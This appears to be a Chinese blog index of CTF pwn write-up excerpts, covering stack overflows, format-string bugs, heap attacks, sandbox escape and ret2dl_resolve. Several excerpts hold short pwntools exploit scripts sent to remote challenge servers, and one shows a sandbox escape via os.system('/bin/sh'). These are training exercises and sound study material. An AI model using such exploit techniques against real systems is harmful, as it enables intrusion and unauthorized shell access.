
CTF-PWN
文章平均质量分 59
playmak3r
patient
展开
-
BUU刷题(三)
BUU刷题(三)fmfrom pwn import *context.log_level='debug'p=process('./fm')p=remote("node3.buuoj.cn","27782")payload=p32(0x0804a02c)+'%11$n'p.sendline(payload)p.interactive()others_shellcode拿到题目直...原创 2020-03-13 22:10:19 · 1051 阅读 · 0 评论 -
BUU PWN (二)
BUU PWN (二)level0from pwn import *#p=process('./level0')p=remote("node3.buuoj.cn","26684")p.recvline()payload='a'*0x80+'a'*8+p64(0x400596)p.sendline(payload)p.interactive()ciscn_2019_n_5ret...原创 2020-02-07 15:29:49 · 905 阅读 · 0 评论 -
BUU PWN(一)
test_your_nc连上即可拿到shellripfrom pwn import *context.log_level='debug'#p=process('./17pwn1')p=remote("node3.buuoj.cn","26137")p.recvuntil("please input\n")payload='a'*0xf+'a'*8+p64(0x401186)p.s...原创 2020-01-28 20:37:49 · 2306 阅读 · 0 评论 -
internal chat圣诞欢乐赛
internal chat拿到题目开启的保护为很容易联想到覆写got表来getshell首先给注册一个用户,用户的结构体如下struct user{ char *user_name; __int64 age; char description[0x100]; _QWORD *addr; _QWORD *friend_addr; __in...原创 2020-01-05 15:56:59 · 145 阅读 · 0 评论 -
巅峰极客snote
巅峰极客snote链接:https://pan.baidu.com/s/1aAb4JjplV-MBj8iQCauI2Q提取码:977o复制这段内容后打开百度网盘手机App,操作更方便哦查看保护&大致逻辑是一个选单程序,且保护全开功能分析1.add2.showdword_202014为1,只能泄露一次3.deletedword_202010只能free一次,且...原创 2019-11-09 01:23:24 · 532 阅读 · 0 评论 -
有关沙盒逃逸的两道题目
有关沙盒逃逸的两道题目1.BCTF-2017 Monkey拿到题目给了一个js文件,是一个模拟终端的程序。输入os.system(’/bin/sh’),即可拿到shell.2.CUIT-2017这题就没上一题那么容易。输入os.system(’/bin/sh’)函数被检测出,应该是启用了字符串过滤''和.都被过滤,但是system没有过滤,此时我们可以使用getattr 来进行g...原创 2019-06-11 13:07:40 · 1147 阅读 · 0 评论 -
babyheap_fastbin_attack
babyheap-堆溢出之fastbin_attack首先检查程序保护保护全开。是一个选单系统分析程序void new(){ int index; // [rsp+0h] [rbp-10h] signed int size; // [rsp+4h] [rbp-Ch] void *ptr; // [rsp+8h] [rbp-8h] for ( index = 0; i...原创 2019-06-23 13:28:35 · 289 阅读 · 0 评论 -
frame faking
int __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [rsp+0h] [rbp-40h] setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); setbuf(stderr, 0LL); puts("Input Your Name:"...原创 2020-01-05 15:56:18 · 331 阅读 · 2 评论 -
C++栈溢出
c++栈溢出程序开启的保护如下程序在注册的地方存在着栈溢出漏洞v20 = __readfsqword(0x28u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v17); do { me...原创 2019-07-24 14:08:32 · 762 阅读 · 0 评论 -
babyfengshui-堆溢出
babyfengshui-堆溢出题目是一个32位的选单式程序,大致功能和保护如下逐一分析各个功能,首先是Add_user部分 printf("size of description: "); __isoc99_scanf("%u%c", &v2, &v0); sub_8048816(v2);_DWORD *__cdecl sub_80...原创 2019-07-31 21:48:40 · 257 阅读 · 0 评论 -
1000levels-vsyscall
1000levels-vsyscall题目是一个64位的程序 具体保护如下程序主要分为两部分,分别为go部分和hint部分。首先先看简单的hint部分int hint(){ signed __int64 v1; // [rsp+8h] [rbp-108h] int v2; // [rsp+10h] [rbp-100h] __int16 v3; // [rsp+14h] [r...原创 2019-08-11 02:50:59 · 371 阅读 · 0 评论 -
HACKNOTE-UAF&system函数调用
HACKNOTE-UAF&system函数调用是一个32位选单程序主功能和开启的保护如下首先看add_note 部分unsigned int add_note(){ _DWORD *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; //...原创 2019-08-21 16:25:39 · 276 阅读 · 0 评论 -
格式化字符串漏洞-无限循环
格式化字符串漏洞-无限循环程序大致逻辑如下,程序存在system函数,保护只开了NX setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Welcome to my ctf! What's your name?"); __isoc99_scanf("%64s", &format); printf("Hello...原创 2019-06-16 15:13:49 · 1668 阅读 · 0 评论 -
bugku-pwn3
程序是一个保护全关的64位程序,主逻辑如下__int64 __fastcall main(__int64 a1, char **a2, char **a3){ char s; // [rsp+0h] [rbp-10h] memset(&s, 0, 0x10uLL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1...原创 2019-06-04 12:00:12 · 1700 阅读 · 0 评论 -
DDCTF-xpwn-格式化字符串,整数溢出,劫持函数
首先查看保护放入IDA中查看主函数int __cdecl main(int a1){ int v1; // eax char buf; // [esp+0h] [ebp-4Ch] size_t nbytes; // [esp+40h] [ebp-Ch] int *v5; // [esp+44h] [ebp-8h] v5 = &a1; setbuf(stdo...原创 2019-04-22 18:33:05 · 461 阅读 · 0 评论 -
level4-DynELF之write函数泄露libc
当题目不提供libc时,可以通过DynELF泄露system的地址例题level4(32位)题目逻辑很简单就是通过read函数输入write函数进行输出read长度限制为0x100,然而需要栈溢出只需要0x8c查一下保护题目就很简单了,直接进行DynELF获取system地址,使用read函数在BSS段输入"/bin/sh\x00"from pwn import *p=remote...原创 2019-05-02 00:43:32 · 2966 阅读 · 0 评论 -
星盟awd-helloworld-静态链接题的ROP
1.拿到题目file一下32位静态编译。2.查保护只开了NX保护3.分析程序流程int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp+18h] [ebp-38h] int v5; // [esp+1Ch] [ebp-34h] int v6; // [esp+44...原创 2019-05-03 01:22:59 · 897 阅读 · 0 评论 -
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
0x01 ELF文件的动态链接之延迟绑定在动态链接下,程序模块之间包含了大量的函数引用,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位,且一部分函数在执行结束都不会用到,如果一开始链接好实际上是一种浪费,于是ELF采取的这种技术。0x02 延迟绑定的实现过程...原创 2019-05-07 20:37:28 · 817 阅读 · 2 评论 -
国赛your_pwn,PIE保护
题目主要代码如下__int64 __fastcall main(__int64 a1, char **a2, char **a3){ char s; // [rsp+0h] [rbp-110h] unsigned __int64 v5; // [rsp+108h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(stdout, 0LL);...原创 2019-05-13 12:36:23 · 2010 阅读 · 0 评论 -
time_formatter-UAF利用
time_formatter-UAF利用看一眼程序主逻辑__int64 __fastcall main(__int64 a1, char **a2, char **a3){ __gid_t v3; // eax FILE *v4; // rdi __int64 v5; // rdx int v6; // eax __int64 result; // rax v3 =...原创 2019-06-12 16:20:01 · 689 阅读 · 4 评论 -
xman-level5-mprotect利用
xman-level5题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题无法用system和execve函数,只能通过shellcode来进行getshell。但是开了NX保护。不可以执行shellcode但是题目给了提示使用mmap函数和mprotect。我们可以使用mprotect 函数,将bss段改为可...原创 2019-06-07 14:10:15 · 836 阅读 · 1 评论 -
cgfsb-格式化字符串
cgfsb-格式化字符串漏洞程序大致逻辑如下 v8 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); buf = 0; v5 = 0; v6 = 0; memset(&s, 0, 0x64u); puts("please tell me your...原创 2019-06-08 16:32:26 · 688 阅读 · 0 评论 -
string-64位格式化字符串漏洞
string-64位格式化字符串漏洞题目描述:一个很有趣的题目,题目背景是你遇到了一条龙,一位巫师可以帮助你逃离危险。首先跑一下程序看下程序逻辑。首先给你两个秘密地址,让你输入用户名之后,依照程序意图继续让你向东走,向东走之后看见一个洞。进入这个洞,让你输入一个地址,之后再输入你的愿望,看到了格式化字符串漏洞 puts("A voice heard in your mind"); p...原创 2019-06-09 15:07:25 · 2372 阅读 · 3 评论 -
4-ReeHY-main-double_free
4-ReeHY-main-double_free拿到程序看一下保护和内容只开了NX保护是一个有关于堆的创建删除编辑的程序。拿到程序寻找漏洞点。首先进入create函数 int result; // eax char buf; // [rsp+0h] [rbp-90h] void *dest; // [rsp+80h] [rbp-10h] int v3; // [rsp+8...原创 2019-06-15 14:27:26 · 479 阅读 · 0 评论 -
格式化字符串在bss段上的处理
格式化字符串在bss段上的内容处理先查看程序保护,保护全开拿到程序一眼就看到了格式化字符串的漏洞int __cdecl main(int argc, const char **argv, const char **envp){ int v3; // eax char buf; // [esp+0h] [ebp-10h] unsigned int v6; // [esp+4h]...原创 2019-06-19 21:53:37 · 2801 阅读 · 6 评论 -
PWN第一周
源码#include <stdio.h>#include <stdlib.h>#include <unistd.h>void setbufs(){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); setvbuf(stderr, 0, 1, 0);}int main(...原创 2019-04-21 23:15:29 · 367 阅读 · 0 评论